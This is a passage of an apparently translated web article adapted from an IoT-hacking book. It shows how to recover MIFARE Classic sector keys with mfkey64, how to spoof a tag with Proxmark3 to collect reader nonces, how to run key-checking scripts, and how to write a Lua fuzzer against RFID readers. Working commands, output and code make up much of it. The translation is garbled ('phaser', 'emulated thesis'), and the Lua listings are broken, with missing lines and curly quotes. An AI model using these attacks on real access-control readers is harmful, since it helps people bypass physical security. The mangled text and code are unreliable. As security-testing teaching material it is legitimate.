We can identify the card’s UID as the value that comes before the SELECT_UID command. The nt, nr, ar, and at parameters appear only after the AUTH-A(0) command, always in that order. The Proxmark3 source code includes a tool called mfkey64 that can perform cryptographic calculations for us. Pass it the UID of the card followed by the nt, nr, ar, and at parameters:

$ ./tools/mfkey/mfkey64 80554b6c 6317ecf0 5f3efbd2 940e946b 0e2bb83f
MIFARE Classic key recovery - based on 64 bits of keystream
Recover key from only one complete authentication!
Recovering key for:
 uid: 80554b6c
 nt: 6317ecf0
 {nr}: 5f3efbd2
 {ar}: 940e946b
 {at}: 0e2bb83f
LFSR successors of the tag challenge:
 nt' : bb2a17bc
 nt'': 70010929
Time spent in lfsr_recovery64(): 0.09 seconds
Keystream used to generate {ar} and {at}:
 ks2: 2f2483d7
 ks3: 7e2ab116

If the parameters are correct, the tool calculates the private key  for the sector.

RFID spoofing attack

In this section, we’ll show you how to spoof a legitimate RFID tag and perform a brute-force attack on the authentication control of an RFID reader. This attack is useful in cases where you have long-term access to the legitimate reader and limited access to the victim mark.

As you may have noticed, a legitimate tag sends an at response to a legitimate reader only after three-step authentication. Attackers with physical access to the reader can spoof the RFID tag, generate their own nt response, and  obtain the nr and ar from the legitimate reader. Although the authentication session cannot complete successfully because attackers do not know the sector key, they can attack by enumerating other parameters and calculate the key.

To perform a legitimate reader attack, use the du command, which mimics the hf mf sim tag:

proxmark3> hf mf sim *1 u 19349245 x i
mf sim cardsize: 1K, uid: 19 34 92 45 , numreads:0, flags:19 (0x13)
Press pm3-button to abort simulation
#db# Auth attempt {nr}{ar}: c67f5ca8 68529499
Collected two pairs of AR/NR which can be used to extract keys from reader:

The * character selects all tag blocks. The next number indicates the amount of memory (in this example, 1 for MIFARE Classic is equal to 1 KB). The u parameter  numbers the UID of the fake RFID tag and the x parameter allows the attack. The i option allows the user to receive interactive output.

The output of the command will contain the values of nr and ar, which we can use to perform the key calculation in the same way as in the previous section. Note that even after calculating the sector key, we will still need to access the forged token to read its memory.

Automating RFID attacks using the Proxmark3 scripting engine

Proxmark3 software comes with a preloaded list of automation scripts that you can use to perform simple tasks. To get a complete list, use the script list command:

$ proxmark3> script list
brutesim.lua A script file
tnp3dump.lua A script file
dumptoemul.lua A script file
mfkeys.lua A script file
test_t55x7_fsk.lua A script file

Then use the run script command followed by its name to execute one of the scripts. For example, the following command executes the mfkeys script, which uses the methods presented earlier in this section (see the “Cracking the Keys the Iterative Method” section) to automate the MIFARE Classic direct password matching process:

$ proxmark3> script run mfkeys
--- Executing: mfkeys.lua, args ''
This script implements check keys.
It utilises a large list of default keys (currently 92 keys).
If you want to add more, just put them inside mf_default_keys.lua.
Found a NXP MIFARE CLASSIC 1k | Plus 2k tag
Testing block 3, keytype 0, with 85 keys
Do you wish to save the keys to dumpfile? [y/n] ?

Another very useful script is dumptoemul, which converts the .bin file created by the dump command into an .eml file that you can directly load into the memory of the Proxmark3 emulator:

proxmark3> script run dumptoemul -i dumpdata.bin -o CEA0B6B4.eml
--- Executing: dumptoemul.lua, args '-i dumpdata.bin -o CEA0B6B4.eml'
Wrote an emulator-dump to the file CEA0B6B4.eml

The -i option specifies an input data file (dumpdata.bin in this case) and the -o option specifies an output file.

These scripts can be very useful when you only have physical access to an RFID-enabled IoT device for a limited period of time and want to automate a large number of testing operations.

Special use cases of RFID fuzzing

In this section, we’ll show you how to use the Proxmark3 scripting engine to perform a simple mutation-based fuzzing operation on an RFID reader. Fuzzers iteratively or randomly generate input data for a target device, which can lead to the penetration of an unprotected device. Instead of trying to find known defects in an RFID-enabled system, you can use this process to discover new vulnerabilities in an implementation.

Mutation-based fuzzers generate input data by changing the initial value, which is usually the normal data commonly used in the system. In our case, this initial value could be a valid RFID tag that we successfully cloned. We will create a script that automates the process of connecting to an RFID reader as this legal tag, and then generates invalid, unexpected or random data in its memory blocks. When the reader tries to process the garbled data, an unexpected code flow can occur that causes the application or device to crash. Errors and exceptions can help you find dangerous loopholes in your RFID reader application.

We focus on the built-in RFID reader on the Android device and the software that receives the data from the RFID tags. (There are many RFID reader apps in the Android Play Store that can be used as potential targets.) Let’s write the fuzzing code in Lua. You can find the complete source code in the book’s repository.

To begin, save the following skeleton script in the Proxmark3 client/scripts folder using the name fuzzer.lua. This script, which has no functions, will now appear in the list when you use the script list command:

File: fuzzer.lua
author = "Book Authors"
desc = "This is a script for simple fuzzing of NFC/RFID implementations"
function main(args)

Then extend the script to use Proxmark3 to fake a legitimate tag and establish a connection to the reader. We will use the label we have already read, exported to a .bin file using the dump command and converted to an .eml file using the dumptoemul script. Let’s say this file is named CEA0B6B4.eml.

First, let’s create a local tag variable to store the tag data:

local tag = {}

Next, we create the load_seed_tag() function, which loads the saved data from the CEA0B6B4.eml file into the memory of the Proxmark3 emulator, as well as into the previously created local variable named tag:

function load_seed_tag()
 print("Loading seed tag...").
 core.console("hf mf eload CEA0B6B4") 
 os.execute('sleep 5')
 local infile ="CEA0B6B4.eml", "r")
 if infile == nil then
 print(string.format("Could not read file %s",tostring(input)))
 local t = infile:read("*all")
 local i = 0
 for line in string.gmatch(t, "[^\n]+") do
 if string.byte(line,1) ~= string.byte("+",1) then
 tag[i] = line 
 i = i + 1

To load the .eml file into the Proxmark3 memory, we use the eload option. You can use Proxmark3 commands by specifying them as arguments in the core.console() function call. The next part of the function manually reads the file, parses the lines, and adds the contents to the tag variable. As we said, sometimes the eload command fails to transfer data from all saved sectors to the Proxmark3 memory the first time, so you may have to use it more than once.

Our simplified phaser will change the initial value of the tag variable, so we need to write a function that creates random changes in the original tag memory. We use a local variable named charset to store the available hexadecimal characters that we can use to make these changes:

local charset = {} do
 for c = 48, 57 do table.insert(charset, string.char(c)) end
 for c = 97, 102 do table.insert(charset, string.char(c)) end

To fill the charset variable, we iterate through the ASCII representation of the characters 0 to 9 and a to f. Then we create the randomize() function, which uses the characters stored in the previous variable to create mutations in the emulated thesis:

function randomize(block_start, block_end)
 local block = math.random(block_start, block_end) 
 local position = math.random(0,31) 
 local value = charset[math.random(1,16)] 
print("Randomizing block " .. block .. " and position " .. position)
 local string_head = tag[block]:sub(0, position)
 local string_tail = tag[block]:sub(position+2)
 tag[block] = string_head .. value .. string_tail
 core.console(„hf mf eset „ .. block .. „ „ .. tag[block]) 
 os.execute('sleep 5')

More specifically, this function randomly selects a label memory block and a position in each selected block, and then introduces a new mutation, replacing that character with a random value from the character set. We then update the Proxmark3 memory using the hf mf eset command. Next, we create a function called fuzz() that repeatedly uses the randomize() function to create a new mutation in the tag’s raw data and emulates the tag for the RFID reader:

function fuzz()
 core.console("hf mf dbg 0")
 os.execute('sleep 5')
 while not core.ukbhit() do
  core.console("hf mf sim *1 u CEA0B6B4")
 print("Aborted by user")

The fuzz() function also uses the core.clearCommandBuffer() API call to remove all commands from the Proxmark3 command queue and hf mf dbg to disable debug messages. It performs phasing several times using a while loop until the User presses the Proxmark3 hardware button. We detect this using the core.ukbhit() API. We implement label simulations using the hf mf sim command. Then we add functions to the original frame of the script in the fuzzer. lua and modify the main function by adding a call to the load_seed_tag() and fuzz() functions:

File: fuzzer.lua
author = "Book Authors"
desc = "This is a script for simple fuzzing of NFC/RFID implementations"
 …Previous functions..
function main(args)

To start fuzzing, place the Proxmark3 antenna near the RFID reader, which is usually located on the back of the Android device (Figure 10.9).

Then run the run fuzzer command script:

proxmark3> script run fuzzer
Loading seed tag...
Loaded 64 blocks from file: CEA0B6B4.eml
#db# Debug level: 0
Randomizing block 6 and byte 19
mf sim cardsize: 1K, uid: ce a0 b6 b4 , numreads:0, flags:2 (0x02)
Randomizing block 5 and byte 8
mf sim cardsize: 1K, uid: ce a0 b6 b4 , numreads:0, flags:2 (0x02)
Randomizing block 5 and byte 19

The output should contain the exact mutation that occurs each time the reader communicates. Each time a connection is established, the reader will attempt to extract and analyze the modified tag data. Depending on the mutation, this input can affect the behavior of the reader, leading to unpredictable behavior or even program crashes. In a worst-case scenario, an RFID-enabled door lock with access control software installed could fail when it receives a modified entry, allowing anyone to freely open the door.

We can evaluate the performance of our fuser experimentally. You can estimate the number of possible dangerous errors by counting the detected failures during data entry. Note that this script is a simplified fuzzer that follows a naive approach: it uses simple random numbers to generate mutations in the given input data. So we don’t expect it to be very effective at detecting software crashes.

Less naïve solutions may use improved mutations, map the protocol for detailed fuzzing, or even use software analysis and tools to interact with large numbers of readers. This will require careful study of the documentation and constant improvement of the fuzzer. For this, try advanced fuzzing tools such as American Fuzzy Lop (AFL) or libFuzzer. This task is beyond the scope of the book, and we leave it as an exercise for you to complete on your own.


In this chapter, we explored RFID technologies and ran a series of clone attacks against widely used low-frequency and high-frequency RFID implementations. We learned how to get a key to access the password-protected memory of MIFARE Classic cards, and then read and modify their memory. Finally, we looked at a technique that allows you to send raw commands to any ISO14493-compliant label based on its specification, and learned how to use Proxmark3 scripts.

We used materials from the book “The Definitive Guide to Attacking the Internet of Things” written by Photios Chantsis, Ioannis Stais,
Paulino Calderon, Evangelos Deirmentsoglu and Beau Woods.

Other related articles
Found an error?
If you find an error, take a screenshot and send it to the bot.